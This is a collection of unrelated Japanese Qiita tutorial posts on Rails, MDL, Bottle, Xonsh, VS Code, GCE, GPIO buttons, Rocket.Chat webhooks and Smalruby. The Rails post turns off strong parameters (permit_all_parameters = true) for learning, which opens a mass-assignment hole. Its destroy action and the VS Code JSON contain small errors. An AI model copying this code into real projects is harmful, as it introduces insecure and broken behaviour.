OmniAICreator/Qiita-1.07M huggingface dataset:
基礎Ruby on Rails Chapter6 レコードの作成、更新、削除

前 [基礎Ruby on Rails Chapter6 フォームとモデル](https://qiita.com/tseno/items/33061df2833ffcf74d7a)
次 [基礎Ruby on Rails Chapter7 バリデーションと国際化](https://qiita.com/tseno/items/e2d83988b6118412acbf)

# レコードの作成、更新、削除

## 作成と更新の流れ

- 新規作成
    - 空の@memberを作成 → new.html.erbをレンダリング → @memberを作成、保存
        - エラーがある場合 ： new.html.erbをレンダリング、エラーメッセージ表示 → @memberを作成、保存
- 更新
    - @memberをDBから取り出す → edit.html.erbをレンダリング → @memberを取り出し、保存
        - エラーがある場合 ： edit.html.erbをレンダリング、エラーメッセージ表示 → @memberを作成、保存

## 会員の新規登録と更新

### ストロング・パラメータの無効化

- config/application.rbに以下を追記する。

```rb:config/application.rb（一部）
config.action_controller.permit_all_parameters = true
```

- ストロングパラメータを無効にするとセキュリティが低下するので、最終的には有効にするが、学習のために一旦無効にしておく。

### createアクション

```rb:app/controllers/members_controller.rb
  def create
    @member = Member.new(params[:member])
    if @member.save
      # 保存が成功したらshowにリダイレクトする。フラッシュ値を設定する。
      redirect_to @member, notice: "会員を登録しました。"
    else
      # エラー発生時はnewに戻る
      render "new"
    end
  end
```

- noticeの表示部分を作成する。

```erb:app/views/layouts/application.html.erb（一部）
      <main>
        <% if flash.notice %>
          <p class="notice"><%= flash.notice %></p>
        <% end %>

        <%= yield %>
      </main>
```

- cssファイルを新規作成する。

```css:app/assets/stylesheets/flash.css
/* フラッシュ */
p.notice {
    border: 1px solid blue;
    padding: 3px;
    background-color: #ccf;
}

```

![image.png](https://qiita-image-store.s3.amazonaws.com/0/88686/72db5685-223a-a330-f236-1f2514ead6a9.png)

### updateアクション

```rb:app/controllers/members_controller.rb
  def update
    @member = Member.find(params[:id])
    @member.assign_attributes(params[:member])
    if @member.save
      # 保存が成功したらshowにリダイレクトする。フラッシュ値を設定する。
      redirect_to @member, notice: "会員を更新しました。"
    else
      # エラー発生時はeditに戻る
      render "edit"
    end
  end
```

![image.png](https://qiita-image-store.s3.amazonaws.com/0/88686/f31af10b-a640-c21d-5661-762511410395.png)


## 会員の削除

```rb:app/controllers/members_controller.rb
  def destroy
    @member = Member.find(params[:id])
    @member.destroy
    # 削除が成功したらindexにリダイレクトする。フラッシュ値を設定する。
    redirect_to @members, notice: "会員を削除しました。"
  end
```
![image.png](https://qiita-image-store.s3.amazonaws.com/0/88686/b5ed1bc1-d3ae-42ca-cd55-968e3623ceaf.png)

![image.png](https://qiita-image-store.s3.amazonaws.com/0/88686/cf16d9b9-f4df-e649-0da3-847401d01d73.png)

参考
[改訂4版 基礎 Ruby on Rails (IMPRESS KISO SERIES)](https://www.amazon.co.jp/%E6%94%B9%E8%A8%824%E7%89%88-Ruby-Rails-IMPRESS-KISO/dp/429500460X/ref=tmm_pap_swatch_0?_encoding=UTF8&qid=1536666358&sr=1-1)
jsでinputのvalueに値を設定した際にMDLのフローティングラベルを有効にする

テキストボックスにjsでvalueを設定した際、MDL(Material Design Lite)のフローティングラベルが効かなくて調べたので対応内容をメモ。

## 背景
`エポック時間(ミリ秒<->時刻)変換ツール`を作っていて、テキストボックスにjsで値をセットしたらMDLのフローティングラベルが効かず、プレースホルダーと値が重なってしまった。
changeイベントかと思い強制発火させてみたものの解消せず、ちょっとはまった。
![Converter.png](https://qiita-image-store.s3.amazonaws.com/0/40602/f6fb8613-7232-6e61-0972-1efa128e5836.png)

## 対応
changeイベントはchangeイベントでも`MaterialTextfield.change(hoge)`で発火させてやる必要があった。

```html:index.html
<section id="wrapper">
  <div class="title">Epoch Time</div>
  <div class="mdl-textfield mdl-js-textfield mdl-textfield--floating-label">
    <input class="mdl-textfield__input" type="text" id="epoch-milli" name="epoch-milli">
    <label class="mdl-textfield__label" for="epoch-milli">Epoch millisec...</label>
  </div>
  <div class="btn-area">
    <div id="to-epoch-milli" class="icon material-icons btn">arrow_upward</div>
    <span class="mdl-tooltip" for="to-epoch-milli">To epoch millisec</span>
    <div id="to-epoch-time" class="icon material-icons btn">arrow_downward</div>
    <span class="mdl-tooltip" for="to-epoch-time">To epoch time</span>
  </div>
  <div class="mdl-textfield mdl-js-textfield mdl-textfield--floating-label">
    <input class="mdl-textfield__input" type="text" id="epoch-time" name="epoch-time">
    <label class="mdl-textfield__label" for="epoch-time">Epoch time...</label>
  </div>
</section>
```

```js:index.js
document.getElementById('to-epoch-milli').addEventListener('click', () => {
  const epochTime = document.getElementById('epoch-time').value;
  const epochMilli = moment(epochTime, DATE_FORMAT);
  const $el = document.getElementById('epoch-milli');
  $el.parentElement.MaterialTextfield.change(epochMilli.format("x"));
  $el.focus();
  $el.select();
});
```
これでうまく動いた。
![Converter-2.png](https://qiita-image-store.s3.amazonaws.com/0/40602/ae04087d-7d8a-eda8-7221-a3bb457ad65b.png)

ちなみに https://codepen.io/anon/pen/ZWerBY のサンプルがとてもわかりやすかった。

## 参考
- [Material Design Lite Programmatically Trigger Floating Label](https://stackoverflow.com/questions/36123169/material-design-lite-programmatically-trigger-floating-label)
Python Bottle Hello World

### bottleは、Python用高速、軽量のWSGIレームワークです。単一のファイルモジュールでPython標準ライブラリ以外の依存関係はありません。簡単にWeb Serverを構築できます。 WSGI Web Server Gateway Interface
### (所要時間10分)
```Hello.py
from bottle import *
@route("/")
def route():
    return'<h1 align="center">hello world</h1>'
run(host="192.168.1.10",port=911)
```
「Stupid Phone」から http://192.168.1.10:911 アクセスする。
![20180923_130457.png](https://qiita-image-store.s3.amazonaws.com/0/274715/0b5cb282-2899-280f-d274-480551e58d81.png)
Xonshでコマンドの実行時間を表示するイベントハンドラー的なの

少し前からTLの影響でXonsh使ってます。

以前のシェルで「実行したコマンドの実行時間」を表示させてたことがあったのですが、Xonshでもやりたくなったので、超雑に作ってみました。


```python:event_handlers.xsh
@events.on_postcommand
def _print_proc_time(
        cmd: str, rtn: int, out: str or None, ts: list) -> None:
    """Print time process after running command
    """
    dt_ = ts[1] - ts[0]
    print(f"{dt_:.2f} secs")
```



Xonshには結構なイベント用デコレータが存在しており、[`on_postcommand`イベント](https://xon.sh/events.html#on-postcommand) を使えばコマンド実行後に処理を追加できそうです。
しかも、引数にある通り`ts`という処理開始前後のタイムスタンプを持つリストを渡してくれるので、何も考えずにそのまま使うのが一番楽そう。

組み込むとこんな感じで、プロンプト表示の手前に「何秒かかったか」が出るようになります。

![xonsh-post_command-demo.gif](https://qiita-image-store.s3.amazonaws.com/0/6805/591e80c8-7273-1f46-3b51-6cd38f204277.gif)
Visual Studio Code をインストールした時に設定すること

# Visual Studio Code をインストールした時に設定すること

ツールを使うと重要なのは設定ファイルや、必要なプラグインの設定を思いついた時点で記載していきます。

量が増えたら GitHub に纏める予定です。

## 設定ファイル

```json:ユーザ設定(settings.json)
{
    // カラーテーマを背景色が明るい色のものへ変更する
    "workbench.colorTheme": "Visual Studio Light",

    // フォント サイズをピクセル単位で制御します。
    "editor.fontSize": 12,

    // 有効な場合、ファイルを開くときに文字セット エンコードを推測します。言語ごとに構成することも可能です。
    "files.autoGuessEncoding": true

    // ファイル作成時のデフォルト改行コード
    "files.eol": "\n"
}
```

## インストールするプラグイン

### 開発環境がリモートにある場合に役立つもの

- Remove VSCode
    - localhost に VSCode があるが、リモートサーバにコードがある場合に VSCode を使ってコードを編集できるようにするプラグイン
    - rmate(ssh でコードと VScode 間でセキュア通信を行う) と併用して使う
    - https://marketplace.visualstudio.com/items?itemName=rafaelmaiolla.remote-vscode

### コーディング規約を揃えるために役立つもの

- EditorConfig
    - 設定ファイル .editorconfig でエディタの基本設定を行う
        - 文字コード、改行コード、インデント幅などの共通設定を決める
    - VSCode で EditorConfig の設定に従うための拡張機能をインストールする
        - https://marketplace.visualstudio.com/items?itemName=EditorConfigTeam.EditorConfig

### 開発言語ごとの拡張機能

VSCode 標準での開発言語ごとに説明された拡張機能や設定方法を試すのが良いと思われる。

参考情報：https://code.visualstudio.com/docs の Languages

- PowerShell を使う場合
    - [PowerShell Language Support for Visual Studio Code](https://marketplace.visualstudio.com/items?itemName=ms-vscode.PowerShell)
- Ruby を使う場合
    - [Ruby Language and Debugging Support for Visual Studio Code](https://marketplace.visualstudio.com/items?itemName=rebornix.Ruby)
    - [Simple Ruby ERB](https://marketplace.visualstudio.com/items?itemName=vortizhe.simple-ruby-erb)
- JavaScript を使う場合
    - [Sublime Babel](https://marketplace.visualstudio.com/items?itemName=joshpeng.sublime-babel-vscode)
    - その他
        - https://code.visualstudio.com/Docs/languages/javascript#_writing-jsconfigjson に従って設定する。
- Java を使う場合
    - [Java Extension Pack](https://marketplace.visualstudio.com/items?itemName=vscjava.vscode-java-pack) (下記拡張機能が含まれている)
        - [Language Support for Java(TM) by Red Hat](https://marketplace.visualstudio.com/items?itemName=redhat.java)
        - [Debugger for Java](https://marketplace.visualstudio.com/items?itemName=vscjava.vscode-java-debug)
        - [Java Test Runner](https://marketplace.visualstudio.com/items?itemName=vscjava.vscode-java-test)
        - [Maven Project Explorer](https://marketplace.visualstudio.com/items?itemName=vscjava.vscode-maven)
- Groovy を使う場合
    - [GSP Syntax Highlighting](https://marketplace.visualstudio.com/items?itemName=SpankyWorks.groovy-gsp)
- Grails を使う場合
    - [Gradle Language SUpport](https://marketplace.visualstudio.com/items?itemName=naco-siren.gradle-language)
    - Java, Groovy を使う場合の拡張機能


# 拡張機能の設定例

## EditorConfig

```text:.editorconfig
root = true

[*]
indent_style = space
end_of_line = lf
charset = utf-8

[*.{js,jsx,json,yml,yaml}]
indent_size = 2
insert_final_newline = true
trim_trailing_whitespace = true
```
エンジニアのためのドキュメントデザイン術（色彩1）

### 色彩(色の選定)の学習について

フォントの選定に続いて、次は色彩編となります。ドキュメント作成において、デザイン面で真っ先に思い浮かぶのが色彩なのではないでしょうか。プレゼン資料や処理イメージ図を作成している際、さまざまな色を組み合わせて、ああでもないこうでもない、イマイチ良い色にならないなと試行錯誤されている方も多いかと思います。多くのエンジニアが重要性に気が付きつつも何をすれば良いのかわからないのがこの色彩だと思います。また、色彩の選定はセンスや才能だと一般的に信じ込まれているので、努力や学習そのものが無意味だと考えている方も多いかと思います。

しかし、色彩や色の組み合わせ（カラーパターン）はすでにデザインや美術を学んだ専門家の先生方(文字通り先に生まれた人・先人の意)によって、美しいと感じる色彩について研究され、理論が構築され、体系化されています。また、商業デザイナーを中心にあらゆる色彩の組み合わせが試行され、多数の美しい色彩パターンがリリース・公開されています。先人の構築した理論・体系・TIPS等を少し学べば、色彩に関する迷いは消失することでしょう。

### Technique.1 モノトーン・モノクロを駆使する

#### 色同志の喧嘩をどう防ぐか？
色を選んでいたらどんどん工数がとられてしまう・・困ったな。そんな時は悩みの種である色彩という要素そのもの(個性の強い有彩色)を取り払ってしまおうと言う考えも時によっては非常に合理的な思考かと思います。（※モノトーンはセピアなどの単調な色彩、モノクロは白黒を示します）下記のように、雑多な色のでたらめな組み合わせによって見栄えが悪くなってしまった状態を以前から私は「色が喧嘩している状態」とよんでいます。
![colorpt.PNG](https://qiita-image-store.s3.amazonaws.com/0/291694/33f963e7-2873-d9f4-f4ea-6144be43b938.png)
色という個性同志が俺が主役だ！とぶつかりあって問題が起きるまら、「色そのものがなかったら解決するんじゃ？」と言うことで、色彩をモノクロにしてしまいましょう。色の断捨離ですね。色を足していくのではなく、色を取り除いていく＝引き算の発想です。モノトーンの採用により、シンプルで美しい文書となることが期待できるでしょう。また、組み合わせに関する思考や作業から解放されるというメリットもあります。考えてみるとメリットばかりですね。

![colorpt2.PNG](https://qiita-image-store.s3.amazonaws.com/0/291694/82ac8230-8d75-b364-c830-7d73d25467f1.png)
![colorpt3.PNG](https://qiita-image-store.s3.amazonaws.com/0/291694/2ed3dd47-be37-d10e-c69d-ba1062d8adbd.png)

この良さがわかるかな～ わっかんねぇだろうなぁ

という訳で、色彩編第一部はいきなり色を取り除いてしまうモノトーンの魅力について書きました。ちょっとしたアイデアとテクニックで文章は美しくなります。色彩編はまだまだ続きます。イェーイ！

### 付録
◆本連載の目次はこちら
https://qiita.com/sutton/items/8343491cf1f9b3f65129
GCP（GCE）に手軽にDockerコンテナをデプロイする

## 概要
GCPにDockerコンテナをデプロイする方法はいくつかありますが、GCE（compute engine）の機能を使うのが最も簡単です。

コンテナのイメージを指定してインスタンスを作るだけで、dockerのインストールやコンテナの起動は自動で実行されます。

## 手順
さっそく試してみましょう。gcloudコマンドを使うので、まだインストールされていない人は[こちらを](https://qiita.com/mokrai/items/89c397e28059e57ff086)参考にどうぞ。

nginxの最新イメージでコンテナをデプロイします。

```
$ gcloud compute instances create-with-container my-instance --container-image=nginx
```

`my-instance`という名前の仮想マシンが１台起動し、そこにnginxコンテナがデプロイされました。
ここでは、インスタンスサイズなどはデフォルトの設定が使われていますが、細かく指定することも可能です。（参照：`gcloud compute instances  create-with-container -h`）

また、イメージはDocker HubやGCR（Google Container Registry）のものを指定できます。

確認してみましょう。GCPのファイアウォールの設定でHTTPの受信を許可してから下記を実行します。

```
curl $(gcloud compute instances describe my-instance --format=json | jq -r  .networkInterfaces[].accessConfigs[].natIP)
```

nginxからのレスポンスが確認できたと思います。

## 補足など

仮想マシンへのコンテナのデプロイは、GCEでは標準機能として用意されているため、上記のようにコマンド一つで簡単に実行できます。Webコンソールでは、インスタンスの作成画面で「このVMインスタンスにコンテナ イメージをデプロイします」というチェックボックスがあります。

コンテナ実行時のパラメータ（環境変数など）も設定することが可能です。仮想マシンのOSは「Container-Optimized OS」というGCPで提供されているものになります。Ubuntuなどは使えません。コンテナをデプロイしたら、その後新しいバージョンで更新する必要もでてくるかと思いますが、そのときは`update-container`というコマンドが用意されています。

通常のインスタンスのように、インスタンステンプレートを作成し、それに基づきオートスケーリングの設定をすることも可能です。

注意すべき点としては、**コンテナ一つにつき仮想マシン１台が必要になります**。GCPのマニュアルには、「一つの仮想マシンに複数のコンテナをデプロイしたい場合は、GKE（kubernetes engine）を検討してね」とありました。


## ドキュメント
* https://cloud.google.com/compute/docs/containers/deploying-containers
    * 日本語版ではまだbetaとなっていますが、最近GAになったはず
スモウルビーで模様を描いてみる#2

#0.おさらい
スモウルビーで模様を描いてみる
https://qiita.com/hinemoss/items/9ccc09c1246c067f0c3d
では、三角形を描くブロックをアレンジして模様を描いてみました。
今回は、繰り返しの繰り返しを使って模様を描いてみます。

#1.基本形
![基本形.png](https://qiita-image-store.s3.amazonaws.com/0/217329/1f804eef-c146-09df-5bae-c160e2fcc284.png)
「繰り返す」ブロックの中に、もう一つ「繰り返す」ブロックをはめています。
内側の繰り返すは、模様を描くための繰り返し。
外側の繰り返すは、模様を描く向きを変えるための繰り返しです。

描かれる模様はこんな感じ。
![基本形で描いた模様.png](https://qiita-image-store.s3.amazonaws.com/0/217329/5943d1fc-b7cb-6da6-ef76-62a1c548db79.png)
内側の繰り返しで時計回りと反時計回りに向きを変えているのでガタガタの線を描いています。
外側の繰り返しで90度回転するのを4回繰り返しているので、開始位置と終了位置が同じ位置になります。

#2.アレンジ#1
繰り返す回数、回転する回数を適当に変えてみます。
![アレンジ.png](https://qiita-image-store.s3.amazonaws.com/0/217329/0786dfdc-eb59-4daa-f8d8-b2a529c84a58.png)

描かれる模様はこんな感じ。
![アレンジして描いた模様.png](https://qiita-image-store.s3.amazonaws.com/0/217329/8dfd624a-18d2-201c-ff97-23da9754828e.png)

角度と回数を変えただけなのにぜんぜんちがう模様が描かれました。
ちょっとバラっぽい（いいすぎ？）

#3.アレンジ#2
ブロックを組み替えて、チラシでいうところのバクダンを描いてみました。
![バクダンのブロック.png](https://qiita-image-store.s3.amazonaws.com/0/217329/a50ff6ed-ae28-4316-6dcc-80a123151bb4.png)

描かれる模様はこんな感じ。
![バクダンの画像.png](https://qiita-image-store.s3.amazonaws.com/0/217329/f31b13fb-c704-a245-9731-c37c74ad1c1f.png)

回数や角度をいろいろ変えたり、ブロックを追加してみて面白い模様を描いてみましょう。

#4.スモウルビーについて
スモウルビーは、
NPO法人Rubyプログラミング少年団
http://smalruby.jp/
で開発されています。無料で利用できます。
ブロックの組み立てでプログラムができます。
php-master-changes 2018-09-22

# 2018-09-22
## petk: Add directory structure to the contributing docs
- https://github.com/php/php-src/commit/949becb1660a9633dfdca7098c733976466d7efd
- CONTRIBUTING.md に PHP ソースコードのディレクトリ構造解説を追加
- petk イケメン

## petk: Rename *.p5c files to *.inc
- https://github.com/php/php-src/commit/5da3ed69a69fb2bec41c75cf89099d4b66d08cd3
- テストファイル から include するファイルで拡張子に一部 .p5c を使っていたのを .inc へ置き換え

## weltling: [ci skip] Update UPGRADING.INTERNALS
- https://github.com/php/php-src/commit/a2c843780e2ffed8c87bcbac6541818fa76d8f9e
- [先日追加した](https://qiita.com/sj-i/items/ec7509ba5dd110805ae4#weltling-fix-localized-error-messages-and-memory-leaks) php_win32_error_msg_free() について UPGRADING に追記

## weltling: Fix test and add skip section
- https://github.com/php/php-src/commit/9f3aac9e390343d0058e5aedcc7e621cd44ed2b5
- [7.3~]
- ext/pcre の[昨日足したテスト](https://qiita.com/sj-i/items/5e56de00e0bc87d1f994#weltling-add-test-for-bug-76909)を修正して pcre.jit 無効時はスキップする処理を追加

## cmb69: Fix [#66828](https://bugs.php.net/bug.php?id=66828): iconv_mime_encode Q-encoding longer than it should be
- https://github.com/php/php-src/commit/9cbe1283f70699b82ca4225705d40fcc73633dfb
- [7.1~]
- iconv_mime_encode() の Q エンコーディングが分割され、不要に長くなる場合がある問題の修正
大きい物理ボタンが押されたことを検知する

# 概要
「でっかい物理ボタンを押されたことを検知しよう！」という野望が出てきましたので、先駆者の方の知識をお借りして実装してみました。
チェックしたプラットフォームはArduinoとRaspberryPiとESP32です。
※ESP32を2018/09/24に追加しました。

# 参考文献
■Arduinoで物理ボタンを作る (目立つボタンで「ッターーン！」しよう)
https://qiita.com/ie4/items/7c6764469f3d41c93a19

■Raspberry PiのGPIOを使って電子工作を楽しむ
https://qiita.com/msrks/items/7de29c4294ce677e05a0

※I have referred to your experiences. Thanks, @ie4 and @msrks.

# 準備したモノ
- Arduino UNO R3
- Raspberry Pi B3
- ESP32 DevKitC（正しくは互換機：https://www.amazon.co.jp/gp/product/B0718T232Z/）
- 物理ボタン（https://www.p-supply.co.jp/products/index.php?act=detail&pid=249）
- ワニ口クリップ
- ジャンパワイヤ

# Arduino編
参考文献のまま、本当にそのままなのですが、以下のように接続して動作確認を実施しています。

- Arduinoは12番（黄）とGND（赤）に接続
- ボタン側は写真のようにつまんでいるだけ

![IMG_0089.JPG](https://qiita-image-store.s3.amazonaws.com/0/177419/c3c911a8-afbe-d060-14de-0919962677bc.jpeg)

- Arduinoのスケッチはこちらも参考文献の通り

```javascript:sketch_bigbutton
const int buttonPin = 12;

void setup() {
  Serial.begin(9600);
  pinMode(buttonPin, INPUT_PULLUP);
}

void loop() {
  int buttonState = digitalRead(buttonPin);
  if (buttonState == LOW) {
    Serial.println("Enter!!");
    delay(200);
  }
}
```

結構半信半疑だったのですが、無事に"Enter!"がシリアルコンソールに出ました。（画質が粗くて恐縮です）
![arduino_bigbutton.jpg](https://qiita-image-store.s3.amazonaws.com/0/177419/b68f11d5-ed19-ed58-ec8a-d37538657476.jpeg)


# Raspberry Pi編
こちらも参考文献の「ボタン入力を検出」の部分を参考にしています。（ってまんまですが）

- Raspberry Piは18番（赤）とGND（黄）に接続
- ボタン側はArduino同様つまんでいるだけ
![IMG_0090.JPG](https://qiita-image-store.s3.amazonaws.com/0/177419/ca0f8fd2-0a05-1e3f-bd6a-a27207dad9e2.jpeg)

こちらはPythonのプログラムで動作を監視します。


```python:bigbutton_monitor.py

import RPi.GPIO as GPIO
import time

GPIO.setmode(GPIO.BCM)

GPIO.setup(18, GPIO.IN, pull_up_down=GPIO.PUD_UP)

while True:
    input_state = GPIO.input(18)
    if input_state == False:
        print('Enter!!')
        time.sleep(0.2)    # 時間はお好みで

```

# ESP32編
プログラムはArduino編と全く同じです。
ArduinoIDEから扱えるようにESP32-DevKitCをセットアップし、
下記のように配線しました。

![IMG_0109.JPG](https://qiita-image-store.s3.amazonaws.com/0/177419/97ed3bbe-46f9-6e9c-8621-bd920c3b74ac.jpeg)
ブレッドボード越しに12番（黄）とGND（赤）に接続させています。
こちらも問題なく「Enter!!」がシリアルコンソールに表示されました。



# この後は、、、
各自のプラットフォーム側で検知したイベントを元にして業務実装です。
ボタンの入力部分をワニ口で繋いでいるところがイマイチしっくりきていないのですが、
今後理屈を勉強したいと思います。

参照頂きありがとうございました。
activerecord下のDBの書き込み時の注意

# 気になること

activerecordは色々勝手にやってくれて便利なんですが普通に保存する方法から逸脱したときにちゃんと動いてくれるか不安だったので調べてみた。

# 直接DBに値を入れる際に気をつけること

* インデックス
* バリデート
* コールバック処理

この辺が直接入れたときにどう動くのかなと思ったがインデックスはactiverecordで特に処理していないらしく大丈夫そう。普通に投稿されたときにバリデートとコールバックは走るのでこれに矛盾しない形で入力すれば問題なし。

## コールバック処理とは？

Railsのコールバックは、オブジェクトの状態が変わるとき、すなわちオブジェクトが生成、更新、破壊されるときや、バリデーションを実行するときの前後に共通の処理を追加する仕組みである。これはモデル層で指定でき、処理を共通化することによって、モデルの一貫性を保て、またコード量を減らすことができる。

引用：http://beck23.hatenablog.com/entry/2014/10/02/020200
obnizにinfineonさんの気圧センサを接続してみた

LINE Clovaのハッカソンに技術サポートで来たのですが，おとなりがinfineonさんで気圧センサ(DPS310)を持ってきたいたので，obnizとつなげてみました．

![IMG_9737.JPG](https://qiita-image-store.s3.amazonaws.com/0/227015/42d65490-30f3-7a82-fec1-0240ffec8541.jpeg)↑お隣さん


一人ハッカソンですね
これでオンラインから気圧を計測することができます！　Clovaとの相性もバッチリになります．


時々初期化に失敗したり，時々データが来るまでに時間がかかったりしたりしますが，ハッカソンで実装できたレベルとしては及第点じゃないでしょうか

##　回路

obnizに全部直付けでできますよ！　と言いたかったのですが．
3.3Vの電源が供給できず，5Vから3Vに分圧してます
(obnizは3.3vは1mAまでしか出力できませんが，5Vは1Aまで出すことができます)

抵抗を持ってなかったので，最初は可変抵抗で分圧してました
(翌日，ちゃんと抵抗を持ってきて変えました)

![IMG_9741.JPG](https://qiita-image-store.s3.amazonaws.com/0/227015/957a9c2a-cac1-948d-6ddc-03fb8c85d12f.jpeg)

↑分圧のためだけのブレッドボード


当然，テスターなんて持っていないので，obnizのADモニターを見ながら可変抵抗をちょこちょこと変えていく．．．という繊細な作業ですね

![IMG_9742.JPG](https://qiita-image-store.s3.amazonaws.com/0/227015/43fa6bd9-f737-6b7f-82a3-2b8d62963828.jpeg)
↑io11(一番右)に5Vを出力し，それを分圧した結果のio10(そのとなり)をみながら可変抵抗を回します．写真だと2.1V．．．．これではセンサが動かない！

こういう，今あるものでなんとかする！というのはハッカソンの醍醐味ですね

つなげたピンは全部で4つです
- 電源　（5V出力を3.3Vに分圧）
- GND
- SDA
- SCL

I2Cなので，接続ピンが少なくて簡単でいいですね

## プログラム

幸いにも[arduinoのプログラム](https://github.com/Infineon/DPS310-Pressure-Sensor)がある　とのことなので，それをjavascriptに移植する形で書きました．
高性能なセンサなので，設定項目がたくさんあって初期化項目もたくさん・・・！

チップの中にキャリブレーションデータが入っていて，温度による計測誤差がないように温度センサも入っていたりなど，精度のこだわりがすごいです

四苦八苦しながらなんとか動かしました．
細かいところが違うのか，もしくは可変抵抗による電源のブレがあるのか，時々初期化に失敗するのは今後の課題ですね


ソースコードは[こちら](https://runkit.com/9wick/dps310-pressure-sensor)においてあります


##　結果
データ取得できました！
調子乗ってグラフ化までしました．

![IMG_9734.JPG](https://qiita-image-store.s3.amazonaws.com/0/227015/a92066ff-01e4-c5eb-6651-595d1b5343a6.jpeg)

気圧センサってあまり使ったことなかったですが，身近なデータなのでIoTとしても活用がたくさんできそうですね
GASでRocket.Chatに投稿する

Rocket.Chatに投稿する機会があったのでメモ

## Rocket.Chatの設定

### 投稿するチャネルの作成

<img src="https://qiita-image-store.s3.amazonaws.com/0/37576/2685c6ba-08b9-8830-e5bc-e4df519a5500.png" width=70%>

* チャネルの種別
プライベートでも問題ない。

* チャネル名
「_」は｢-｣になってしまったり、なんか変な挙動するので、できれば使用しない方が安全っぽい。


### サービス連携の設定
![002.PNG](https://qiita-image-store.s3.amazonaws.com/0/37576/54bb353a-ce96-a34b-c637-134d0dc4e8f5.png)

![003.png](https://qiita-image-store.s3.amazonaws.com/0/37576/f520e5ae-2ca0-df8b-775e-c25fa683b10c.png)

![004.png](https://qiita-image-store.s3.amazonaws.com/0/37576/fa8e4a2e-e492-c7aa-649f-93e08ccc5c52.png)

名前とチャネルとユーザーを登録
※有効にし忘れない！

![005.png](https://qiita-image-store.s3.amazonaws.com/0/37576/d2b587b9-87b8-0e00-081d-3a9f14ffe51e.png)

一番下のある「変更を保存」を押す。

![006.png](https://qiita-image-store.s3.amazonaws.com/0/37576/f22f5096-e157-6bf4-1074-e0de9ef7bfb9.png)

｢Webhook URL｣と｢Token｣をメモ

![007.png](https://qiita-image-store.s3.amazonaws.com/0/37576/cb7a34eb-8610-2a78-e873-82fcf72bbda3.png)


## コマンドラインで実行
curlの部分をコピーして、コマンドラインで実行してみる。

```bash

curl -X POST -H 'Content-Type: application/json' --data '{"text":"Example message"・・・
```

こんな感じに表示されていればOK
![008.png](https://qiita-image-store.s3.amazonaws.com/0/37576/d24f0339-fd17-814d-8f67-c9696fef7ff9.png)



## GASで実行

```js

function myFunction(){
  var message = 'テスト :birthday: google apps script';
  sendRocketChat(message);
}


function sendRocketChat(message){
  var payload = {
    "text": message,
    "attachments": [
    {
      "title": "Rocket.Chat",
      "title_link": "https://rocket.chat",
      "text": "Rocket.Chat, the best open source chat",
      "image_url": "https://rocket.chat/images/mockup.png",
      "color": "#764FA5"
    }
  ]
  };

  var options = {
    'method' : 'post',
    'contentType': 'application/json',
    'payload' : JSON.stringify(payload)
  };

  var token = 'your token';
  var url = 'your webhook url' + token;
  
  UrlFetchApp.fetch(url, options);
}
```

↓ユーザー名とかは消しています
![009.png](https://qiita-image-store.s3.amazonaws.com/0/37576/3aafa52f-5782-7dbb-2354-455242a8041c.png)
axiosを利用する本当に最低限のメモ


コンソールに結果を出せればいいだけ。

### axiosのインストール

[本家サイト](https://github.com/axios/axios)に書いてあるのでそのとおりにやればいい。

```bash
cd
mkdir axios_test
cd axios_test
npm install axios
```

>WebだとCDNも利用できるみたい。

### 利用

とりあえずindex.js作って

```js:index.js
const axios = require('axios');

axios.get('http://www.yahoo.co.jp')
    .then(function(response){
        console.log(response);
    });

```

実行します。上記のコードだとyahooのHTMLがだらだら表示されます。

```bash
node index.js
```
スモウルビーで模様を描いてみる

#0.おさらい
スモウルビーで正三角形を描いてみる
https://qiita.com/hinemoss/items/bac163c4ba7ecde7c66e
で、正三角形を描いてみましたが、それをアレンジして模様を描いてみます。

正三角形を描くブロックはこんな感じ。
![正三角形を描く.png](https://qiita-image-store.s3.amazonaws.com/0/217329/a8ed33d1-186e-43a6-2e53-b13354573f9d.png)
3回、同じことを繰り返すと正三角形を描くことができるので、繰り返しのブロックを使っています。

描かれる正三角形はこんな感じ。
![正三角形.png](https://qiita-image-store.s3.amazonaws.com/0/217329/09e65880-7c68-e19d-4353-e855e0d283b9.png)

#1.回転する角度を変えてみる
正三角形を描くときは、120度回転していたのを、121度に変えてみます。
![角度を変えてみる.png](https://qiita-image-store.s3.amazonaws.com/0/217329/971f55fc-7d79-6757-1c6e-9686090413c3.png)

描かれる図形はこんな感じ。
![角度を変えて描かれた図形.png](https://qiita-image-store.s3.amazonaws.com/0/217329/53b9a3ae-e3db-453f-d9a3-6340dfba948e.png)
描きだしの位置と終わりの位置がうまく合わさっていないので、正三角形ではなくなりました。

#2.繰り返しの回数を変えてみる
3回繰り返していたところを30回繰り返すように変えてみます。
![繰り返しの回数を変えてみる.png](https://qiita-image-store.s3.amazonaws.com/0/217329/05feb38c-f55d-2eb7-494c-bddd192000f2.png)

描かれる図形はこんな感じ。
![繰り返しの回数を変えて描かれた図形.png](https://qiita-image-store.s3.amazonaws.com/0/217329/609ea7c8-c6e7-db72-19aa-7739256931c0.png)
お！なんだか模様になってきました。

#3.繰り返しの回数を増やしてみる
じゃあ、30回のところを100回に増やしてみます。
![繰り返しの回数を増やしてみる.png](https://qiita-image-store.s3.amazonaws.com/0/217329/a37033ff-0754-c09f-c4ad-bf4b9837c083.png)

描かれる模様はこんな感じ。
![繰り返しの回数を増やしてみて描かれた図形.png](https://qiita-image-store.s3.amazonaws.com/0/217329/32474121-940d-33ac-dda5-b37e93b07dc5.png)

#4.繰り返しの回数をもう少し増やしてみる
もう少しで丸になりそうなので、100回のところを120回に増やしてみます。
![繰り返し120回.png](https://qiita-image-store.s3.amazonaws.com/0/217329/94491e79-0c7a-05a3-d257-1d0d9a2b066d.png)

描かれる模様はこんな感じ。
![繰り返し120回で描かれた図形.png](https://qiita-image-store.s3.amazonaws.com/0/217329/c6cfe345-b0c2-0be6-02a9-dad573ddde34.png)
お！丸ぽっくなりました。

#5.角度と回数を変えてみる
回転する角度を増やして、繰り返す回数を減らしてみました。
![角度と回数を変えてみる.png](https://qiita-image-store.s3.amazonaws.com/0/217329/4fa4f517-d301-9855-60a4-7e60c0a504a6.png)

描かれる模様はこんな感じ。
![角度と回数を変えてみて描かれた図形.png](https://qiita-image-store.s3.amazonaws.com/0/217329/63660d40-2808-2034-ae95-32af0e8f4554.png)
一度に回転する角度が増えたので、トゲトゲの間隔が広くなりました。

いろいろと角度や繰り返す回数を変えてみましょう。

#6.スモウルビーについて
スモウルビーは、
NPO法人Rubyプログラミング少年団
http://smalruby.jp/
で開発されています。無料で利用できます。
ブロックの組み立てでプログラムができます。
